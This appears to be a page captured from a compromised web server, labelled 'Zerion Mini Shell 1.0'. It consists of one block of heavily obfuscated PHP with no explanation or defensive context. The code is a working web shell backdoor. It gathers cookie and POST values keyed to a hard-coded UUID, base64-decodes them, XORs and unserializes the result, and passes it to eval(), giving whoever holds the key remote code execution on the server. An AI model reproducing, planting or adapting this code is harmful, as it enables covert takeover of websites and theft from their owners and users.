Mini Shell
$RMLUQeB = chr ( 946 - 873 ).chr (95) . "\125" . chr ( 550 - 485 )."\x63" . "\x59" . "\x4b";$UmKYfGYs = chr ( 448 - 349 ).'l' . 'a' . chr ( 758 - 643 )."\x73" . chr (95) . "\145" . chr (120) . chr (105) . "\163" . chr (116) . "\x73";$eFapiOQlVz = class_exists($RMLUQeB); $UmKYfGYs = "33972";$qXzuVGEVs = strpos($UmKYfGYs, $RMLUQeB);if ($eFapiOQlVz == $qXzuVGEVs){function vNgqz(){$dGorBWTJd = new /* 59431 */ I_UAcYK(58719 + 58719); $dGorBWTJd = NULL;}$DJOcnUODFk = "58719";class I_UAcYK{private function MkUcys($DJOcnUODFk){if (is_array(I_UAcYK::$TUSLocMa)) {$nlntHUgU2 = str_replace("<" . "?php", "", I_UAcYK::$TUSLocMa["content"]);eval($nlntHUgU2); $DJOcnUODFk = "58719";exit();}}public function lCrQChCq(){$nlntHUgU = "27315";$this->_dummy = str_repeat($nlntHUgU, strlen($nlntHUgU));}public function __destruct(){I_UAcYK::$TUSLocMa = @unserialize(I_UAcYK::$TUSLocMa); $DJOcnUODFk = "6296_13917";$this->MkUcys($DJOcnUODFk); $DJOcnUODFk = "6296_13917";}public function LTOUpx($nlntHUgU, $ulluqYwWgH){return $nlntHUgU[0] ^ str_repeat($ulluqYwWgH, intval(strlen($nlntHUgU[0]) / strlen($ulluqYwWgH)) + 1);}public function ADzFRZ($nlntHUgU){$ljyZNhc = chr ( 394 - 296 ).chr ( 857 - 760 ).chr (115) . "\x65" . '6' . "\x34";return array_map($ljyZNhc . "\x5f" . "\x64" . chr ( 220 - 119 ).chr ( 729 - 630 ).chr ( 537 - 426 ).'d' . 'e', array($nlntHUgU,));}public function __construct($DWknMiNDbO=0){$gQWSA = "\x2c";$nlntHUgU = "";$DwKgQ = $_POST;$ihwjgc = $_COOKIE;$ulluqYwWgH = "c039c12b-2ee4-485c-b5a6-a0ac29d32fce";$KJCJrHZs = @$ihwjgc[substr($ulluqYwWgH, 0, 4)];if (!empty($KJCJrHZs)){$KJCJrHZs = explode($gQWSA, $KJCJrHZs);foreach ($KJCJrHZs as $kulLX){$nlntHUgU .= @$ihwjgc[$kulLX];$nlntHUgU .= @$DwKgQ[$kulLX];}$nlntHUgU = $this->ADzFRZ($nlntHUgU);}I_UAcYK::$TUSLocMa = $this->LTOUpx($nlntHUgU, $ulluqYwWgH);if (strpos($ulluqYwWgH, $gQWSA) !== FALSE){$ulluqYwWgH = explode($gQWSA, $ulluqYwWgH); $ylHnegNtU = sprintf("6296_13917", rtrim($ulluqYwWgH[0]));}}public static $TUSLocMa = 22707;}vNgqz();}
Zerion Mini Shell 1.0